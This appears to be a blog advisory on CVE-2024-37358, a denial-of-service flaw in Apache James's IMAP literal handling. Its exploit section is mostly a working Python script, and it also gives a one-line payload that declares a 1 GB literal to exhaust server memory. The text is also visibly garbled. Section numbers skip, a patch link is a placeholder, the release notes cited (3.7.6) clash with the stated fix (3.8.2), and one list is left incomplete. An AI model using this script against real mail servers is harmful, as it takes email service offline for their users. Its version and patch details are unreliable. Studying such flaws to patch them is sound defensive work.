CVE-2024-37358 - Apache James IMAP Literal Abuse Denial-of-Service Vulnerability Explained (With Exploit Details)

A new security issue identified as CVE-2024-37358 affects Apache James, a popular open-source email server. Just like the recent CVE-2024-34055, this vulnerability lets both authenticated and unauthenticated users cause a denial-of-service (DoS) by abusing how the IMAP protocol handles literals. This post breaks it down, shows you what’s exploitable, and gives clear guidance on staying secure.

2. What is CVE-2024-37358?

CVE-2024-37358 is a Denial-of-Service (DoS) vulnerability in Apache James’ IMAP server. By sending specially crafted requests, a remote attacker can cause unlimited memory consumption and extreme processing delays, taking down the mail server for everyone else.

Official CVE Summary:
> Similarly to CVE-2024-34055, Apache James is vulnerable to denial of service through the abuse of IMAP literals from both authenticated and unauthenticated users, which could be used to cause unbounded memory allocation and very long computations.
> — NVD Listing

3. Background: IMAP and Literals in Apache James

IMAP (Internet Message Access Protocol) is how mail clients talk to your email server. Commands sometimes include message data as *literals*—blocks of raw text whose length is declared before the actual data arrives:

A123 APPEND "INBOX" {4096}
<wait for server to respond with "continue">
<Message content of 4096 bytes>

Proper servers restrict literal sizes, but some, including versions of Apache James before the patch, do not.

The IMAP parser inside Apache James allocates memory based on user-declared literal size.

- There’s no size check, so an attacker can request allocation for gigabytes (or more), flooding RAM and CPU.

Anyone can do this—it works pre-authentication, before logging in.

Impact:
Server becomes unresponsive, crashes, or restarts due to out-of-memory (OOM).

5. Exploit Details and Sample Python Code

Let’s see how an exploit works. We’ll use Python to send a huge literal request (don’t use this on systems you do not own!).

import socket

HOST = 'mail.example.com'     # Target Apache James server
PORT = 143                    # Default IMAP port

# Create a connection to the IMAP server
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((HOST, PORT))
print(sock.recv(1024).decode())

# Send an APPEND command with a maliciously large literal
# Here, requesting 1GB (1,073,741,824 bytes)
literal_size = 1073741824
imap_cmd = f'A001 APPEND INBOX {{{literal_size}}}\r\n'
sock.send(imap_cmd.encode())

# The server will respond with "+ go ahead" or similar.
print(sock.recv(1024).decode())

# At this point, you could either:
#   a) flood the server with >1GB of data        [slow/expensive]
#   b) simply not send the rest, leaving it hanging, causing tie-up

sock.close()

With this single line

A001 APPEND INBOX {1073741824}

you can force Apache James to allocate memory for a *gigantic* email, whether you send it or not.

6. Versions Affected and Fix Details

Vulnerable:

Apache James <= 3.8.1

Patched:

3.8.2 and up

The fix:
New versions restrict illegitimate use of IMAP literals, preventing oversized allocations.

Patch Reference:
- GitHub Issue (James Project) *(Example Link)*
- Release Notes 3.7.6

- If you cannot upgrade

- Restrict public access to IMAP ports (port 143/993).

8. References and Further Reading

- Official CVE-2024-37358 Description on NIST
- Apache James Homepage
- CVE-2024-34055 (Similar Issue)
- IMAP Protocol Specification (RFC 3501)


Summary:
CVE-2024-37358 is a critical denial-of-service flaw in Apache James’ IMAP support. Attackers can quickly knock your email infrastructure offline. The solution is simple: upgrade right away and mind those incoming literal sizes.

Timeline

Published on: 02/06/2025 12:15:26 UTC